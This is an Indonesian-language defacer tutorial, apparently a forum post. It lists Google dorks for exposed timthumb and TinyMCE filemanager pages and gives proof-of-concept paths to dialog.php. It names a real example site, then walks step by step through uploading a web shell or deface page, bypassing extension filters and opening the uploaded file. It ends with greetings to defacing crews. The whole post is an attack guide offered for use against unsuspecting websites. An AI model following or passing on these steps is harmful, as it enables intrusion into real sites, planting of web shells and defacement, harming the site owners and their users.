Langsung Saja
Dork :
inurl:/admin/js_admin/timthumb/timthumb.php?src=
inurl:/admin/js/timthumb/timthumb.php?src=
inurl:/admin/js/tinymce/plugins/filemanager
inurl:/admin/js/filemanager
(use ur brain)
Poc :
site.com/admin/js_admin/tinymce/plugins/filemanager/dialog.php
site.com/admin/js_admin/tiny_mce/plugins/filemanager/dialog.php
site.com/admin/js/tinymce/plugins/filemanager/dialog.php
site.com/admin/js/tiny_mce/plugins/filemanager/dialog.php
site.com/admin/js_admin/filemanager/dialog.php
site.com/admin/js/filemanager/dialog.php
Example :
http://zhasproject.kz/public/assets/admin/js/tinymce/plugins/filemanager/dialog.php
1. Dorking dengan dork diatas dan Pilih Target masing masing
2. Cari Tulisan / Gambar Upload
3. Upload shell kalian (Jika tidak bisa maka upload .html / .txt saja) bisa juga dengan cara bypass extensi
4. Tunggu Hingga ada tanda ceklis dan klik Return Files List
5. Cari file kalian yang tadi sudah di upload ,, agar mudah pencet CTRL+F di Keyboard kalian lalu ketik nama file kalian
6. Setelah menemukan file yang tadi di upload ,, klik kanan pada file kalian lalu pilih Show URL dan Copy URL yang ada di box dan buka di New Tab lalu lihat Hasilnya...
Greetz : Mr.DellationX196 - SPEEDY-03 - R0cky_n00bz - Konslet - Pak Haxor - Lastc0de # Typical Idiot Security - All Indonesian Defacer
./MaqloeGeming